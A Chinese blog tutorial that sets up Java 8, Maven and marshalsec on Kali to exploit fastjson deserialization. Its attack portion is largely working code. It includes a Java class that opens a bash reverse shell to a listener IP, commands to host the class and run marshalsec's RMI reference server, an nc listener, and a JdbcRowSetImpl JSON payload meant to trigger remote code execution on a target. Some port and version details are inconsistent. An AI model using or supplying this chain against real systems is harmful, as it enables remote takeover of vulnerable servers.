java版本共存与fastjson反序列化rmi服务器的搭建

文章目录

java 8下载

链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000

提取码:0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000

提取码:0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

bash 复制代码
mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java

这里的参数意义如下:

-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。
-C 解压到指定路径

改个名字

bash 复制代码
cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0

解压好进行配置

在文件/etc/profile尾部添加变量

vim /etc/profile

点键盘i键进行编辑

bash 复制代码
export JAVA_HOME=/usr/local/java/jdk1.8.0

export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH

添加完成后点esc键输入wq进行保存

使用使配置文件生效

bash 复制代码
source /etc/profile

生效之后使用命令完成jdk版本共存

bash 复制代码
sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500

使用来切换版本

sudo update-alternatives --config java

这样就成功了

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建

将Apache Maven解压到/opt目录下

/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

bash 复制代码
tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt 

解压完成后进行配置系统变量编辑 /etc/profile

bash 复制代码
vim /etc/profile

输入i将变量添加到末尾

bash 复制代码
export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

esc 输入wq保存

使用命令生效配置文件

bash 复制代码
source /etc/profile

检查是否安装完成

bash 复制代码
mvn -version

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

bash 复制代码
mvn clean package -DskipTests

他会哗哗哗下一堆东西

这样就说明编译好了看一眼我们的jar包就打好了

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

bash 复制代码
mkdir fastjson_payload

完成后创建java文件

bash 复制代码
vim rce.java

进行编辑下面代码,记得修改bash shell的ip及nc开放的端口

java 复制代码
import java.lang.Runtime;
import java.lang.Process;
 
public class Rce {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

创建好后进行编译

bash 复制代码
javac Rce.java

如果提示没有javac进行一下命令安装重新编译

bash 复制代码
apt install default-jdk

利用marshalsec加载远程RCE类

编译完成后

在此页面开启一个网页服务

bash 复制代码
python -m http.server  8082

测试一下能否正常访问

可以看到能够正常访问到我们的class文件

好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

bash 复制代码
cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件

新建窗口开启nc监听

bash 复制代码
nc -lvvp 10002

完成之后根据对方的fastjson版本构造payload

例:

json 复制代码
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}

将payload上传至数据包即可反弹shell

相关推荐
向宇it11 分钟前
【从零开始入门unity游戏开发之——C#篇24】C#面向对象继承——万物之父(object)、装箱和拆箱、sealed 密封类
java·开发语言·unity·c#·游戏引擎
小蜗牛慢慢爬行13 分钟前
Hibernate、JPA、Spring DATA JPA、Hibernate 代理和架构
java·架构·hibernate
星河梦瑾1 小时前
SpringBoot相关漏洞学习资料
java·经验分享·spring boot·安全
黄名富1 小时前
Redis 附加功能(二)— 自动过期、流水线与事务及Lua脚本
java·数据库·redis·lua
love静思冥想1 小时前
JMeter 使用详解
java·jmeter
言、雲1 小时前
从tryLock()源码来出发,解析Redisson的重试机制和看门狗机制
java·开发语言·数据库
TT哇1 小时前
【数据结构练习题】链表与LinkedList
java·数据结构·链表
Yvemil72 小时前
《开启微服务之旅:Spring Boot 从入门到实践》(三)
java
Anna。。2 小时前
Java入门2-idea 第五章:IO流(java.io包中)
java·开发语言·intellij-idea
.生产的驴2 小时前
SpringBoot 对接第三方登录 手机号登录 手机号验证 微信小程序登录 结合Redis SaToken
java·spring boot·redis·后端·缓存·微信小程序·maven